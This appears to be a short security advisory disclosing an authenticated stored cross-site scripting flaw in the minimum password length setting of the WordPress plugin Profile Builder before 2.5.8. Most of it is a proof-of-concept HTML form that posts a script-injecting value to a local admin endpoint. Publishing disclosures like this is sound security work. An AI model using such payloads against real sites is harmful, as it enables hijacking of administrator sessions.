Profile Builder < 2.5.8 – Authenticated Stored Cross-Site Scripting (XSS)

Description

Stored Cross-Site Scripting (XSS) in field minimum password length.

Proof of Concept

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/wp/wp-admin/options.php" method="POST">
      <input type="hidden" name="option_page" value="wppb_general_settings" />
      <input type="hidden" name="action" value="update" />
      <input type="hidden" name="_wpnonce" value="a37f914f93" />
      <input type="hidden" name="_wp_http_referer" value="/wp/wp-admin/admin.php?page=profile-builder-general-settings" />
      <input type="hidden" name="wppb_general_settings[extraFieldsLayout]" value="default" />
      <input type="hidden" name="wppb_general_settings[emailConfirmation]" value="no" />
      <input type="hidden" name="wppb_general_settings[activationLandingPage]" value="" />
      <input type="hidden" name="wppb_general_settings[loginWith]" value="usernameemail" />
      <input type="hidden" name="wppb_general_settings[minimum_password_length]" value="8"><script>alert(1)</script>" />
      <input type="hidden" name="wppb_general_settings[minimum_password_strength]" value="strong" />
      <input type="hidden" name="action" value="update" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>